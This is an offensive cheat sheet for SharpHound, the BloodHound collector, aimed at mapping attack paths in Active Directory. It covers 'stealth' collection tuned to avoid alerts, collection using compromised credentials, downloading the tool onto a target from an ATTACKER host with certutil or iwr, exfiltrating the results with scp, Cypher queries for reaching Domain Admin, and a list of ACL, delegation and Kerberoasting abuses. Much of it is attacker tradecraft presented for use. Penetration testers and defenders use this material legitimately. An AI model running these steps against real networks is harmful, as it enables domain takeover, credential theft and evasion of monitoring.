Sharphound

SharpHound

BloodHound data collector — gathers AD domain structure, users, groups, ACLs, and attack paths for visualization.

Quick Start

# Basic collection (all data)
SharpHound.exe -c All

# Stealth collection (DC data only)
SharpHound.exe -c DCOnly

# Collection with output
SharpHound.exe -c All --outputdirectory C:\Windows\Temp\

# Specify domain
SharpHound.exe -d corp.local -c All

# Use specific DC
SharpHound.exe -d corp.local --domaincontroller dc.corp.local -c All

Collection Flags

Collection Strategies

Stealth Collection (minimal detectable)

# DC only, no session collection
SharpHound.exe -c DCOnly --throttle 2000 --jitter 25

Full Recon (more data, noisier)

# Everything
SharpHound.exe -c All --outputdirectory C:\Windows\Temp\

Low-Privilege User Collection

# From non-admin account (less data, but valuable)
SharpHound.exe -c All -d corp.local

Compromised Credentials

# As different user (if you have creds)
SharpHound.exe -c All -d corp.local --ldapusername "corp\attacker" --ldappassword "password"

Output

SharpHound generates ZIP file with JSON files:

<timestamp>_BloodHound.zip
├── computers.json       # Computer data
├── users.json          # User data
├── groups.json         # Group memberships
├── ous.json            # Organizational Units
├── domains.json        # Domain relationships
├── gpos.json           # Group Policy Objects
├── containers.json     # Container data
├── trusts.json         # Inter-domain trusts
├── ace.json            # ACLs (critical)
└── sessions.json       # Logon sessions (if collected)

Workflow

1. Collect from Linux / Compromised Host

# Transfer SharpHound.exe to target
python3 -m http.server 80

# On target (Windows)
certutil -urlcache -split -f http://ATTACKER/SharpHound.exe C:\Windows\Temp\SharpHound.exe
# or
iwr -Uri http://ATTACKER/SharpHound.exe -OutFile C:\Windows\Temp\SharpHound.exe

2. Execute Collection

C:\Windows\Temp\SharpHound.exe -c All --outputdirectory C:\Windows\Temp\

3. Exfiltrate ZIP

# From Linux, pull the ZIP
scp user@target:C:\Windows\Temp\*.zip ./

# Or HTTP exfil
# (requires web server on target, risky)

4. Import to BloodHound GUI

# Start BloodHound Neo4j & GUI
/path/to/BloodHound

# Drag & drop ZIP into BloodHound
# OR
# Click "Upload Data" → Select ZIP file

5. Run Queries

-- Shortest path to Domain Admin
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}))
RETURN p

-- High-value targets
MATCH (u:User {admincount:true}) RETURN u.name

-- Unconstrained delegation
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name

Key Data Collected

Performance & Stealth

• -c DCOnly → Fast, stealth, minimal enumeration
• -c All → Comprehensive, slower, may trigger alerts
• --throttle 2000 → Add 2000ms delay between LDAP queries (stealth)
• --jitter 25 → Add up to 25% random jitter
• --loop → Run periodically (e.g., capture new admins logging in)

BloodHound CE (Community Edition)

# Docker-based BloodHound alternative (free)
docker run -it --rm -p 7687:7687 -p 7474:7474 specterops/bloodhound:latest

# Access at http://localhost:7474
# Default: admin / password

Integration

Common Findings to Exploit

• All Extended Rights on user/group → GenericAll abuse
• WriteProperty on user → Password reset, add group member
• WriteDacl → Modify ACL, grant yourself rights
• Unconstrained Delegation → Monitor & steal TGT from connecting user
• Kerberoastable Users → Rubeus roast → crack password

Resources